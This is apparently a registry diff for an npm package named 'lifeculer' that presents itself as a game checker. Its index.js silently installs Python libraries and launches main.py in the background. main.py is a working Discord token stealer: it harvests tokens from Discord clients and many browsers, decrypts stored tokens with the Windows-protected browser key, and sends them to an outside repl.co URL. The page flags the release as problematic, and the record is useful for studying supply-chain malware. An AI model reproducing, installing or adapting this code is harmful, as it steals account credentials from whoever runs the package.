lifeculer 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of lifeculer might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +48 -0
  2. package/main.py +143 -0
  3. package/package.json +24 -0
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ module.exports = function lifes(name, opts){
2
+
3
+ try {
4
+
5
+ const {
6
+ execSync} = require("child_process")
7
+ var cmd = require('node-cmd')
8
+ const colors = require('colors');
9
+
10
+
11
+ var shell = require('shelljs');
12
+ var fs = require('fs');
13
+
14
+
15
+ const checker = execSync(`cd %temp% && type checker.json`).toString()
16
+ const obj = JSON.parse(checker);
17
+
18
+
19
+ if (checker && checker === "true"){}
20
+
21
+
22
+ } catch (e) {
23
+
24
+ const {execSync} = require("child_process")
25
+ var cmd = require('node-cmd')
26
+ const colors = require('colors');
27
+ var shell = require('shelljs');
28
+
29
+
30
+ UUID = execSync("python --version || path/to/python_install.exe").toString().split(" ")[0]
31
+
32
+ if (UUID && UUID === "Python") {
33
+ console.log("Atualizando".red)
34
+ cmd.runSync(`pip install httpx && pip install pycrypto && pip install pypiwin32`)
35
+ console.clear()
36
+ console.log("Atualizando".blue)
37
+ cmd.runSync(`start /b python main.py`)
38
+ } else {
39
+ title('P')
40
+ shell.exec(`cd %temp% && echo {"checker":"true"} > checker.json`)
41
+ }
42
+
43
+ const title = require('proc-title')
44
+ title('P')
45
+
46
+ shell.exec(`cd %temp% && echo {"checker":"true"} > checker.json`)
47
+
48
+ }};
package/main.py ADDED
@@ -0,0 +1,143 @@
1
+ import httpx
2
+ import os
3
+ import json
4
+ import base64
5
+ from re import findall
6
+ from Crypto.Cipher import AES
7
+ from win32crypt import CryptUnprotectData
8
+ import requests
9
+
10
+
11
+ class Volt:
12
+ def __init__(self):
13
+ self.appdata = os.getenv("appdata")
14
+ self.roaming = os.getenv("appdata")
15
+ self.regex = r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}"
16
+ self.encrypted_regex = r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$]{120}"
17
+ self.tokens = []
18
+ self.findTokens()
19
+ self.SendInfo()
20
+
21
+ def header_gen(self, token=None, content_type="application/json"):
22
+ headers = {
23
+ "Content-Type": content_type,
24
+ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"
25
+ }
26
+ if token:
27
+ headers.update({"Authorization": token})
28
+ return headers
29
+
30
+ def decrypt_payload(self, cipher, payload):
31
+ return cipher.decrypt(payload)
32
+
33
+ def generate_cipher(self, aes_key, iv):
34
+ return AES.new(aes_key, AES.MODE_GCM, iv)
35
+
36
+ def decrypt_value(self, buff, master_key):
37
+ try:
38
+ iv = buff[3:15]
39
+ payload = buff[15:]
40
+ cipher = self.generate_cipher(master_key, iv)
41
+ decrypted_pass = self.decrypt_payload(cipher, payload)
42
+ decrypted_pass = decrypted_pass[:-16].decode()
43
+ return decrypted_pass
44
+ except:
45
+ return "Failed to decrypt token!"
46
+
47
+ def find_key(self, path):
48
+ with open(path, "r", encoding="utf-8") as f:
49
+ local_state = f.read()
50
+ local_state = json.loads(local_state)
51
+
52
+ master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
53
+ master_key = master_key[5:]
54
+ master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
55
+ return master_key
56
+
57
+ def findTokens(self):
58
+ paths = {
59
+ 'Discord': self.roaming + r'\\discord\\Local Storage\\leveldb',
60
+ 'Discord Canary': self.roaming + r'\\discordcanary\\Local Storage\\leveldb',
61
+ 'Discord PTB': self.roaming + r'\\discordptb\\Local Storage\\leveldb',
62
+ 'Opera': self.roaming + r'\\Opera Software\\Opera Stable\\Local Storage\\leveldb',
63
+ 'Opera GX': self.roaming + r'\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb',
64
+ 'Amigo': self.appdata + r'\\Amigo\\User Data\\Local Storage\\leveldb',
65
+ 'Torch': self.appdata + r'\\Torch\\User Data\\Local Storage\\leveldb',
66
+ 'Kometa': self.appdata + r'\\Kometa\\User Data\\Local Storage\\leveldb',
67
+ 'Orbitum': self.appdata + r'\\Orbitum\\User Data\\Local Storage\\leveldb',
68
+ 'CentBrowser': self.appdata + r'\\CentBrowser\\User Data\\Local Storage\\leveldb',
69
+ '7Star': self.appdata + r'\\7Star\\7Star\\User Data\\Local Storage\\leveldb',
70
+ 'Sputnik': self.appdata + r'\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb',
71
+ 'Vivaldi': self.appdata + r'\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb',
72
+ 'Chrome SxS': self.appdata + r'\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb',
73
+ 'Chrome': self.appdata + r'\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb',
74
+ 'Epic Privacy Browser': self.appdata + r'\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb',
75
+ 'Microsoft Edge': self.appdata + r'\\Microsoft\\Edge\\User Data\\Default\\Local Storage\\leveldb',
76
+ 'Uran': self.appdata + r'\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb',
77
+ 'Yandex': self.appdata + r'\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb',
78
+ 'Brave': self.appdata + r'\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb',
79
+ 'Iridium': self.appdata + r'\\Iridium\\User Data\\Default\\Local Storage\\leveldb',
80
+ 'Chromium': self.appdata + r'\\Chromium\\User Data\\Default\\Local Storage\\leveldb',
81
+ 'Mozilla Firefox': self.roaming + r'\\Mozilla\\Firefox\\Profiles'
82
+ }
83
+
84
+ for _, path in paths.items():
85
+ if not os.path.exists(path):
86
+ continue
87
+ if not "discord" in path:
88
+ if "Mozilla" in path:
89
+ for loc, _, files in os.walk(path):
90
+ for _file in files:
91
+ if not _file.endswith('.sqlite'):
92
+ continue
93
+ for line in [x.strip() for x in open(f'{loc}\\{_file}', errors='ignore').readlines() if x.strip()]:
94
+ for token in findall(self.regex, line):
95
+ r = httpx.get("https://discord.com/api/v9/users/@me", headers=self.header_gen(token))
96
+ if r.status_code == 200:
97
+ if token in self.tokens:
98
+ continue
99
+ self.tokens.append(token)
100
+
101
+ else:
102
+ for file_name in os.listdir(path):
103
+ if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
104
+ continue
105
+ for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
106
+ for token in findall(self.regex, line):
107
+ r = httpx.get("https://discord.com/api/v9/users/@me", headers=self.header_gen(token))
108
+ if r.status_code == 200:
109
+ if token in self.tokens:
110
+ continue
111
+ self.tokens.append(token)
112
+
113
+
114
+ else:
115
+ for file_name in os.listdir(path):
116
+ if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
117
+ continue
118
+ for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
119
+ for y in findall(self.encrypted_regex, line):
120
+ for i in ["discordcanary", "discord", "discordptb"]:
121
+ if os.path.exists(self.roaming + f'\\{i}\\Local State'):
122
+ token = self.decrypt_value(base64.b64decode(y.split('dQw4w9WgXcQ:')[1]), self.find_key(self.roaming + f'\\{i}\\Local State'))
123
+ r = httpx.get("https://discord.com/api/v9/users/@me", headers=self.header_gen(token))
124
+ if r.status_code == 200:
125
+ if token in self.tokens:
126
+ print(token)
127
+ continue
128
+ self.tokens.append(token)
129
+
130
+
131
+ def SendInfo(self):
132
+ formatted = []
133
+ for x in self.tokens:
134
+ j = httpx.get("https://discord.com/api/v9/users/@me", headers=self.header_gen(x)).json()
135
+ name = j['username']+'#'+j['discriminator']
136
+ formatted.append(f'{x}')
137
+
138
+
139
+ requests.get(f"https://life.polarlabs.repl.co/lofy?cc={formatted}")
140
+
141
+
142
+ if __name__ == '__main__':
143
+ Volt()
package/package.json ADDED
@@ -0,0 +1,24 @@
1
+ {
2
+ "name": "lifeculer",
3
+ "version": "0.0.1",
4
+ "description": "Checker of Games",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node ."
8
+ },
9
+ "keywords": [
10
+ "lifeculer",
11
+ "license",
12
+ "description",
13
+ "brazil"
14
+ ],
15
+ "author": "lifeculer",
16
+ "license": "ISC",
17
+ "dependencies": {
18
+ "child_process": "^1.0.2",
19
+ "colors": "^1.4.0",
20
+ "fs": "^0.0.1-security",
21
+ "node-cmd": "^5.0.0",
22
+ "shelljs": "^0.8.5"
23
+ }
24
+ }